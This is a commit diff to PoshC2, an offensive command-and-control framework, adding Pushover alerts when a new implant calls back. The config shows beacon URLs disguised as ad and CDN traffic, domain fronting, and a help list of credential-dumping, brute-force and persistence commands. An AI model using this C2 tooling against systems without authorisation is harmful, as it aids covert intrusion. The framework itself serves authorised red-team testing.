'Updated to Include Pushover API'

chunking
benpturner 2018-09-07 12:03:57 +01:00
parent e78bd59d22
commit 71e1c2f7cf
6 changed files with 38 additions and 22 deletions

View File

@ -276,7 +276,7 @@ if __name__ == '__main__':
os.makedirs("%s/reports" % directory)
os.makedirs("%s/payloads" % directory)
initializedb()
setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer)
setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications)
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],

View File

@ -13,8 +13,13 @@ KillDate = "08/06/2019"
QuickCommand = "adsense/troubleshooter/1631343?id=Ndks8dmsPld"
DownloadURI = "adsense/troubleshooter/1631343?id=Ndks8dmsPld"
Sounds = "No"
APIKEY = "" # ClockworkSMS API key for notifications
MobileNumber = '"07777777777","07777777777"' #
EnableNotifications = "No"
# ClockworkSMS - https://www.clockworksms.com
APIKEY = ""
MobileNumber = '"07777777777","07777777777"'
# Pushover - https://pushover.net/
APIToken = ""
APIUser = ""
URLS = '"adsense/troubleshooter/1631343/","adServingData/PROD/TMClient/6/8736/","advanced_search?hl=en-GB&fg=","async/newtab?ei=","babel-polyfill/6.3.14/polyfill.min.js=","bh/sync/aol?rurl=/ups/55972/sync?origin=","bootstrap/3.1.1/bootstrap.min.js?p=","branch-locator/search.asp?WT.ac&api=","business/home.asp&ved=","business/retail-business/insurance.asp?WT.mc_id=","cdb?ptv=48&profileId=125&av=1&cb=","cis/marketq?bartype=AREA&showheader=FALSE&showvaluemarkers=","classroom/sharewidget/widget_stable.html?usegapi=","client_204?&atyp=i&biw=1920&bih=921&ei=","load/pages/index.php?t=","putil/2018/0/11/po.html?ved=","q/2018/load.php?lang=en&modules=","status/995598521343541248/query=","TOS?loc=GB&hl=en&privacy=","trader-update/history&pd=","types/translation/v1/articles/","uasclient/0.1.34/modules/","usersync/tradedesk/","utag/lbg/main/prod/utag.15.js?utv=","vs/1/vsopts.js?","vs/site/bgroup/visitor/","w/load.php?debug=false&lang=en&modules=","web/20110920084728/","webhp?hl=en&sa=X&ved=","work/embedded/search?oid="'
SocksURLS = '"GoPro5/black/2018/","Philips/v902/"'
UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"
@ -57,7 +62,7 @@ logo = """__________ .__. _________ ________
| | ( <_> )___ \| Y \ \ \____/ \
|____| \____/____ >___| / \______ /\_______ \
\/ \/ \/ \/
=============== v4.0 www.PoshC2.co.uk ============="""
=============== v4.1 www.PoshC2.co.uk ============="""
# DO NOT CHANGE #

9
DB.py
View File

@ -70,7 +70,10 @@ def initializedb():
SocksURLS TEXT,
Insecure TEXT,
UserAgent TEXT,
Referer TEXT);"""
Referer TEXT,
APIToken TEXT,
APIUser TEXT,
EnableNotifications TEXT);"""
create_history = """CREATE TABLE History (
ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
@ -91,11 +94,11 @@ def initializedb():
else:
print("Error! cannot create the database connection.")
def setupserver(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer):
def setupserver(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications):
conn = sqlite3.connect(DB)
conn.text_factory = str
c = conn.cursor()
c.execute("INSERT INTO C2Server (HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer))
c.execute("INSERT INTO C2Server (HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications))
conn.commit()
def get_c2server_all():

View File

@ -284,7 +284,8 @@ output-to-html
set-clockworksmsapikey df2
set-clockworksmsnumber 44789
set-defaultbeacon 60
turnoff-sms
turnon-notifications
turnoff-notifications
listmodules
pwnself (alias: p)
creds -action <dump/add/del/search> -username <username> -password/-hash
@ -301,7 +302,7 @@ posh_help = posh_help1 + posh_help2 + posh_help3 + posh_help4 + posh_help5 + pos
PRECOMMANDS = ['add-autorun' ,'list-autorun','del-autorun', 'nuke-autorun','automigrate-frompowershell',
'show-serverinfo','history','output-to-html','set-clockworksmsapikey','set-clockworksmsnumber','set-defaultbeacon',
'listmodules','pwnself','creds','createnewpayload','createproxypayload','listmodules',
'createdaisypayload','turnoff-sms','tasks','cleartasks',"opsec"]
'createdaisypayload','turnoff-notifications','turnon-notifications','tasks','cleartasks',"opsec"]
# post help commands
COMMANDS = ['loadmodule',"bloodhound","brute-ad","brute-locadmin",

View File

@ -554,18 +554,22 @@ while($true)
try:
apikey = select_item("APIKEY","C2Server")
mobile = select_item("MobileNumber","C2Server")
enotifications = select_item("EnableNotifications","C2Server")
poapitoken = select_item("APIToken","C2Server")
poapiuser = select_item("APIUser","C2Server")
#import httplib, urllib
#conn = httplib.HTTPSConnection("api.pushover.net:443")
#conn.request("POST", "/1/messages.json",
# urllib.urlencode({
# "token": "",
# "user": "",
# "message": "NewImplant: %s @ %s" % (self.User,self.Hostname),
# }), { "Content-type": "application/x-www-form-urlencoded" })
#conn.getresponse()
if enotifications == "Yes":
import httplib, urllib
conn = httplib.HTTPSConnection("api.pushover.net:443")
conn.request("POST", "/1/messages.json",
urllib.urlencode({
"token": poapitoken,
"user": poapiuser,
"message": "NewImplant: %s @ %s" % (self.User,self.Hostname),
}), { "Content-type": "application/x-www-form-urlencoded" })
conn.getresponse()
if apikey and mobile:
if enotifications == "Yes" and apikey and mobile:
for number in mobile.split(","):
number = number.replace('"','')
url = "https://api.clockworksms.com/http/send.aspx?key=%s&to=%s&from=PoshC2&content=NewImplant:%s\%s @ %s" % (apikey, number, self.Domain,self.User,self.Hostname)

View File

@ -184,9 +184,12 @@ def startup(printhelp = ""):
if "show-serverinfo" in implant_id.lower():
details = get_c2server_all()
startup(details)
if "turnoff-sms" in implant_id.lower():
update_item("MobileNumber", "C2Server", "")
startup("Turned off SMS on new implant")
if "turnoff-notifications" in implant_id.lower():
update_item("EnableNotifications", "C2Server", "No")
startup("Turned off notifications on new implant")
if "turnon-notifications" in implant_id.lower():
update_item("EnableNotifications", "C2Server", "Yes")
startup("Turned on notifications on new implant")
if "set-clockworksmsapikey" in implant_id.lower():
cmd = (implant_id.lower()).replace("set-clockworksmsapikey ","")
cmd = cmd.replace("set-clockworksmsapikey","")